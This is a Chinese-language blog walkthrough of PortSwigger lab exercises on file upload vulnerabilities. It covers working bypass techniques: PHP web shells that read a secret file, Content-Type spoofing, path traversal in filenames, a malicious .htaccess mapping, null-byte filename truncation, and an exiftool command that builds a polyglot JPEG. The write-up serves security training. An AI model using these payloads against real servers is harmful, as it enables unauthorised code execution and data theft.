Portswigger 靶场之“文件上传”

File upload vulnerabilities

All labs | Web Security Academy (portswigger.net)

1. Remote code execution via web shell upload

通过 Web shell 上传远程执行代码

目标:读取/home/carlos/secret文件的内容

过程

登录用户,选择一个图片上传。用 burp 分别拦截“上传文件”和“查看文件”的数据包,一个 POST 请求,另一个是 GET 请求

在 burp 上传文件中文件名后缀改为.php,删除原来图片的内容,替换为 php webshell,并且上传

查看文件数据包中,访问上传的 webshell;或者回到浏览器,先刷新页面,后右键图片在新标签页打开

# PHP 的读取代码
<?php echo file_get_contents('/home/carlos/secret'); ?>

# file_get_contents() 把整个文件读入一个字符串中。

2. Web shell upload via Content-Type restriction bypass

通过 Content-Type 限制绕过 Web shell 上传

先登录,上传图片,在 burp 的 http history 中拦截“上传文件”和“查看文件”的数据包,并转发到 Repeater,重命名为Upload File Show File以便更好地观察

在 burp 上传文件中,修改名称、删除图片内容替换为 php webshell,最重要的一点是Content-Type 修改为image/jpeg

后续步骤如法炮制而来

<?php echo file_get_contents('/home/carlos/secret'); ?>

3. Web shell upload via path traversal

Web Shell 通过路径遍历上传

传入 webshell 后<?php echo file_get_contents('/home/carlos/secret'); ?>,访问文件的时候显示了未经解析的源代码,由此想到该目录没有执行权限,需要上传到其他目录,进行目录遍历

在 burp 上传数据包,将文件名改为../文件名,需要经过 URL 编码,编码后是..%2f文件名,文件将被上传到“上一层”文件夹

4. Web shell upload via extension blacklist bypass

Web Shell上传通过扩展黑名单绕过

按照往常一样上传 PHP webshell,服务器回答说“不允许”上传 PHP 文件。从响应中,注意到正在运行的服务器是 Apache,

.htaccess文件是 Apache 服务器的一个配置文件,负责相关目录下的网页配置。能够实现改变文件扩展名、允许/阻止特定的用户或者目录的访问

可以欺骗 Apache 服务器将任意自定义文件扩展名映射到可执行的 MIME 类型。

第一步、修改.htaccess文件

# 修改名称 
.htaccess

# 修改 Content-Type
text/plain

# 修改内容
AddType application/x-httpd-php .shell

实现的功能就是:所有上传的.shell文件都会被当作php文件执行

接着上传一个后缀名为shell的文件,完成实验室任务

# 修改名称 
code.shell

# 修改 Content-Type
image、png

# 修改内容
<?php echo file_get_contents('/home/carlos/secret'); ?>

5. Web shell upload via obfuscated file extension

通过混淆文件扩展名上传 Web Shell

利用%00 截断

文件名用 Burp 改 code.php%00.png

在 url 中 %00 表示 ascll 码中的 0 ,而 ascii 中 0 作为特殊字符保留,表示字符串结束,所以当 url 中出现 %00 时就会认为读取已结束

当一个字符串中存在空字符的时候,在被解析的时候会导致空字符后面的字符被丢弃

6. Remote code execution via polyglot web shell upload

通过多语言 web shell 上传远程代码执行

服务器可能通过图像的字节序列来判断是否是jpeg、png文件等;使用 ExifTool 创建包含元数据中恶意代码的多语言 JPEG 文件

在 kali 中安装 ExifTool

apt install libimage-exiftool-perl

利用 ExifTool

exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" code.jpg -o code.php

7. Web shell upload via race condition

通过竞争条件上传 Web shell

通过 Race Condition,上传的 webshell 文件会先存到一个文件夹中,然后才会确认是否合法,如果不合法再删掉。文件被删除之前这段间隙去突破

posted @ 2023-02-18 10:06  跛一一  阅读(470)  评论(0编辑  收藏  举报